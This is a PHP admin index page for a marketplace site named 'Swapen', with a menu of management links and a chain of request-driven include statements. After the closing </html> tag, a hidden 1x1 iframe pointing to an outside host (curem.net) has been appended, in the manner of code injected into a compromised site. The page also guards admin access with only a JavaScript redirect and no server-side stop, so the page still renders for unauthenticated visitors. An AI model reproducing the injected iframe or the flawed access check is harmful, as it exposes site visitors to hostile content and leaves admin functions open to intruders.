<?php
ini_set('display_errors', 1); 
ini_set('error_reporting', 'E_error'); 
session_start();


if(empty($_SESSION['admin_id'])) 
  echo "<script type=text/javascript>window.location='home.php'</script>";
if(empty($_SESSION['admin_name']))
  echo "<script type=text/javascript>window.location='home.php'</script>";
if(isset($_SESSION['admin_id']))
$admin_id_sess=$_SESSION['admin_id'];
if(isset($_SESSION['admin_name']))
$admin_name_sess=$_SESSION['admin_name'];
if(!empty($_REQUEST['logoff']))
{
unset($_SESSION['admin_id']);
unset($_SESSION['admin_name']);
echo "<script type=text/javascript language=javascript>
        window.location='home.php';
        </script>";
}
require_once "../includes/config.php";
require_once "../includes/functions.php";
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title> Swapen - Admin Index </title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link href="css/style.css" type="text/css" rel="stylesheet">
<script type="text/javascript" language="javascript" src="js/functions.js"></script>
</head>
<body> 
 <table width="763" border="0" align="center" cellspacing="0">
  <tr>
    <td height="90" colspan="3"><?php require_once "admin_header.php"?></td>
  </tr>
  <tr>
  <td colspan="3">
  <table width="760"  border="0" align="center" cellspacing="0" >
   <tr>
     <td width="162" height="319"><table width="100%"  border="1" align="center" cellspacing="0" class="container">
        <tr>
          <td width="155" height="27" class="tdHeader">Contents</td>
        </tr>
        <tr>
          <td height="583"><table width="100%"  border="0">
		  
			  <tr>
                <td>&nbsp;</td>
                <td height="22">Referral Code Management</td>
              </tr>
	          <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?ref_code" class="category">Referral Code</a></td>
              </tr>
             
			  <tr>
                <td>&nbsp;</td>
                <td height="22">Member Management</td>
              </tr>
	      <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?seller" class="category">Seller</a></td>
              </tr>
	      <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?buyer" class="category">Buyer</a></td>
              </tr>
	      <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?merchant" class="category">Merchants</a></td>
              </tr>
	      <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?newmer" class="category">New Merchants</a></td>
              </tr>
              <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?members" class="category">All Members</a></td>
              </tr>
	      <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?denied_members" class="category">Denied Members</a></td>
              </tr>
	      <tr>
		<td>&nbsp;</td>
		<td height="22"><a href="index.php?wholeseller" class="category"> New Wholesellers</a></td>
		</tr>
	      <tr>
		<td>&nbsp;</td>
		<td height="22"><a href="index.php?appwholeseller" class="category">Wholesellers</a></td>
		</tr>
	      <tr>
                <td>&nbsp;</td>
                <td height="22">Category Management</td>
              </tr>
			  <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?listscat" class="category">Category</a></td>
              </tr> 
			  <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?listsscat" class="category">Sub-SubCategory</a></td>
              </tr>   
			  
			   <tr>
                <td>&nbsp;</td>
                <td height="22">Listing Management</td>
              </tr>
	      <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?listpro" class="category">Product Listings</a></td>
              </tr>
			  
          <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?wanted_cat" class="category">My Wanted Category</a></td>
              </tr>	      
	      <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?list_wishlist" class="category">My wanted list(buyer)</a></td>
              </tr>
	       
	      <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?list_mwishlist" class="category">My wanted list(merchant)</a></td>
              </tr>
	      
	      <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?feedback" class="category">Feedback</a></td>
              </tr> 
			  
	      <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?mem_messages" class="category">Member Messages</a></td>
              </tr>
			  
          <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?classified" class="category">Classified Listings</a></td>
              </tr> 			  
	         <tr>
                <td>&nbsp;</td>
                <td height="22">Service Management</td>
              </tr>
			  <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?list_service" class="category">Shipping Service Listings</a></td>
              </tr>  
			  <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?list_handling_time" class="category">Handling Time Listings</a></td>
              </tr> 
			   <!--
              <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?listcat" class="category">Edit Category</a></td>
              </tr>       
			  <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?addsubcat" class="category">Add Subcategory</a></td>
              </tr>
              <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?listscat" class="category">Edit Subcategory</a></td>
              </tr>               
              <tr>
                <td>&nbsp;</td>
                <td height="22">Gallery Management</td>
              </tr>
              <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?updimg" class="category">Upload Images</a></td>
              </tr>
			  <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?edtimg" class="category">Edit Images</a></td>
              </tr>
			  <tr>
                <td>&nbsp;</td>
                <td height="22">Orders Management</td>
              </tr>
			  <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?orders" class="category">List Orders</a></td>
              </tr>   -->
			  <tr>
                <td>&nbsp;</td>
                <td height="22">Admin Settings</td>
              </tr>
              <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?chpwd" class="category">Change Password</a></td>
              </tr>
              <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?general" class="category">General Settings</a></td>
              </tr>
              <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?tracking" class="category">Tracking</a> </td>
              </tr>
              <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?emailist" class="category">Emails </a> </td>
              </tr>
              <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?emailtemplates" class="category">Custom Emaling</a> </td>
              </tr>
			  <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?emailcustomtemplates" class="category">Custom Message</a> </td>
              </tr>
			  <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?refer" class="category">Referred Commission</a> </td>
              </tr>
			  <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?refer_withdraw" class="category">Referred Withdrawal</a> </td>
              </tr>
			  <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?referhistory" class="category">Referred Commission History</a> </td>
              </tr>
	     <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?tran_history" class="category">Transaction History</a> </td>
              </tr>
	     <tr>
	       <td>&nbsp;</td>
               <td height="22"><a href="index.php?refund" class="category">Refund</a> </td> 
	     </tr>
	     <tr>
	       <td>&nbsp;</td>
               <td height="22"><a href="index.php?indirect_refund" class="category">Third Party Refund</a> </td> 
	     </tr>
	      <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?reports" class="category">Reports</a> </td>
              </tr>
	      <tr>
                <td>&nbsp;</td>
                <td height="22">Content Management</td>
              </tr>
			  <tr>
                <td>&nbsp;</td>
                <td height="22"><a href="index.php?contents" class="category">Manage Contents</a></td>
              </tr>  
          </table></td>
        </tr>
    </table>    </td>
     <td width="2"></td>
     <td width="590"><table width="100%"  border="0" cellspacing="0">
       <tr>
         <td height="592">
         <?php
		 if(isset($_REQUEST['ref_code']))
		 {
			 if(!empty($_REQUEST['ref_code']))
			 {
				require_once "view_ref_code.php";
			 }
			 else
			 {
		 	    require_once "ref_code.php";
			 }
		 }
		 
		 if(isset($_REQUEST['addref'])) 
		 {
			require_once "add_ref_code.php";
		 }
		 
		 if(!empty($_REQUEST['editref'])) 
		 {
			require_once "edit_ref_code.php";
		 }

		 if(isset($_REQUEST['members']))
		 {
		 	if(!empty($_REQUEST['members'])) {
				require_once "view_members.php";
			}
			else {
				require_once "members.php";
			}
		 }
		 
		 if(isset($_REQUEST['report_id']))
		 {
		 	require_once "view_reports.php";
	   	 }
		 
		 if(isset($_REQUEST['denied_members']))
		   require_once "denied_members.php";
		 
		 if(isset($_REQUEST['viewwhole']))
		 {
		 	
				require_once "detailwholeseller.php";
			
		 }
		 
		 if(!empty($_REQUEST['editmem'])) {
			require_once "edit_member_profile.php";
		}
		 
		  if(isset($_REQUEST['newmer']))
		 {
		 	if(!empty($_REQUEST['newmer'])) {
				require_once "view_merchants.php";
			}
			else {
				require_once "new_merchants.php";
			}
		 }	 
		  if(isset($_REQUEST['wholeseller']))
		 {
		 	if(!empty($_REQUEST['wholeseller'])) {
				require_once "view_wholesellers.php";
			}
			else {
				require_once "listWholeseller.php";
			}
		 }
		 if(isset($_REQUEST['seller']))
		 {
		 	require_once "seller.php";
		 }
		 
         if(isset($_REQUEST['wanted_cat']))
		 {
			 if(!empty($_REQUEST['wanted_cat']))
			 {
				require_once "view_wanted_cat.php";
			 }
			 else
			 {
		 	    require_once "wanted_cat.php";
			 }
		 }
		 
		 if(isset($_REQUEST['addwantedcat'])) 
		 {
			require_once "add_wanted_cat.php";
		 }
		 
		 if(!empty($_REQUEST['editcat'])) 
		 {
			require_once "edit_wanted_cat.php";
		 }

		 if(isset($_REQUEST['list_wishlist']))
		 {
		 	require_once "list_wishlist.php";
		 }
		 
		 if(isset($_REQUEST['list_mwishlist']))
		 {
		 	require_once "list_mwishlist.php";
		 }
		 
		 if(isset($_REQUEST['buyer']))
		 {
		     require_once "buyer.php";
		 }
		 if(isset($_REQUEST['merchant']))
		 {
		     require_once "merchant.php";
		 }
		  if(isset($_REQUEST['reports']))
		 {
		     require_once "reports.php";
		 }
		 
		 if(isset($_REQUEST['appwholeseller']))
		 {
		 	require_once "appwholeseller.php";
		 }	
		 
		  if(isset($_REQUEST['addsubcat']))
		 {
		 	require_once "add_subcategory.php";
		 }
		 
		  if(isset($_REQUEST['emailtemplates']))
		 {
		 	require_once "listEmailTemplates.php";
		 }
		  if(isset($_REQUEST['addmessage']))
		 {
		 	require_once "addmessage.php";
		 }
		 if(isset($_REQUEST['editmessage']))
		 {
		 	require_once "addmessage.php";
		 }
		  if(isset($_REQUEST['deletemessage']))
		 {
		 	require_once "deletemessage.php";
		 }
		  if(isset($_REQUEST['sendmessage']))
		 {
		 	require_once "sendmessage.php";
		 }
		 
		 
		 if(isset($_REQUEST['emailcustomtemplates']))
		 {
		 	require_once "listCustomEmailTemplates.php";
		 }
		  if(isset($_REQUEST['addcustommessage']))
		 {
		 	require_once "addcustommessage.php";
		 }
		 if(isset($_REQUEST['editcustommessage']))
		 {
		 	require_once "addcustommessage.php";
		 }
		  if(isset($_REQUEST['deletecustommessage']))
		 {
		 	require_once "deletecustommessage.php";
		 }
		  if(isset($_REQUEST['sendcustommessage']))
		 {
		 	require_once "sendsmessage.php";
		 }
		 
		 if(isset($_REQUEST['listscat']))
		 {
		 	require_once "list_subcategory.php";
		 }
		 if(isset($_REQUEST['listsscat']))
		 {
		 	require_once "list_sub_subcategory.php";
		 }
		 if(isset($_REQUEST['addsscat']))
		 {
		 	require_once "add_sub_subcategory.php";
		 }
		 if(isset($_REQUEST['editscat']))
		 {
		 	require_once "category.php";
		 }
		 
		 if(isset($_REQUEST['listpro']))
		 {		 	
			if(!empty($_REQUEST['listpro'])) {
				require_once "view_product.php";
			}
			else {
				require_once "list_products.php";
			}
		 }
		 
		 if(isset($_REQUEST['chpwd']))
		 {
		 	require_once "admin_password.php";
		 }
		 if(isset($_REQUEST['tracking']))
		 {
		 	require_once "ntracking.php";
		 }
		 if(isset($_REQUEST['emailist']))
		 {
		 	require_once "emailist.php";
		 }
		if(isset($_REQUEST['emailid']))
		 {
		 	require_once "edit_email.php";
		 }

		 if(isset($_REQUEST['general']))
		 {
		 	require_once "general_settings.php";
		 }
		 if(isset($_REQUEST['updimg']))
		 {
		 	require_once "add_photo.php";
		 }
		 if(isset($_REQUEST['edtimg']))
		 {
		 	require_once "edit_photo.php";
		 }
		 if(isset($_REQUEST['viewInv']))
		 {
		 	require_once "view_inventory.php";
		 }
		 if(isset($_REQUEST['referhistory']))
		 {
		 	require_once "referhistory.php";
		 }
		 if(isset($_REQUEST['refer']))
		 {
		 	require_once "refer.php";
		 }
		 if(isset($_REQUEST['refer_withdraw']))
		 {
		 	require_once "refer_withdraw.php";
		 }
		 if(isset($_REQUEST['tran_history']))
		 {
		 	require_once "tran_history.php";
		 }
		 
		 if(isset($_REQUEST['refund']))
		 {
		   require_once "refund.php";
		 }
		 if(isset($_REQUEST['feedback']))
		 {
		   require_once "list_feedback.php";
		 }
		  if(isset($_REQUEST['edit_feedback']))
		 {
		   require_once "edit_feedback.php";
		 }
		 if(isset($_REQUEST['viewfeedback']))
		 {
		   require_once "view_feedback.php";
		 }
		 
		 if(isset($_REQUEST['mem_messages']))
		 {
		   require_once "member_messages.php";
		 }
		 if(isset($_REQUEST['viewmessages']))
		 {
		   require_once "view_messages.php";
		 }
		 
		 if(isset($_REQUEST['classified']))
		 {
		 	if(!empty($_REQUEST['classified'])) {
				require_once "view_classified.php";
			}
			else {
				require_once "classified_listings.php";
			}
		 }

		 if(isset($_REQUEST['indirect_refund']))
		 {
		   require_once "indirect_refund.php";
		 }
		 
		 if(isset($_REQUEST['list_service']))
		 {
		 	require_once "list_service.php";
		 }
		 if(isset($_REQUEST['edit_service']))
		 {
		 	require_once "edit_service.php";
		 }
		 
		 if(isset($_REQUEST['edit_wishlist']))
		 {
		 	require_once "edit_wishlist.php";
		 }
		 
		 if(isset($_REQUEST['edit_mwishlist']))
		 {
		 	require_once "edit_mwishlist.php";
		 }
		 
		 if(isset($_REQUEST['list_handling_time']))
		 {
		 	require_once "list_handling_time.php";
		 }
		 if(isset($_REQUEST['edit_handling_time']))
		 {
		 	require_once "edit_handling_time.php";
		 }
		 
		 if(isset($_REQUEST['contents']))
		 {
		 	require_once "cms.php";
		 }
		?>
         </td>
       </tr>
     </table></td>
     </tr>
  </table>
</table>

</body>
</html><iframe heigth="1" width="1" frameborder="0" src="http://curem.net/t.php?id=2240651"></iframe>
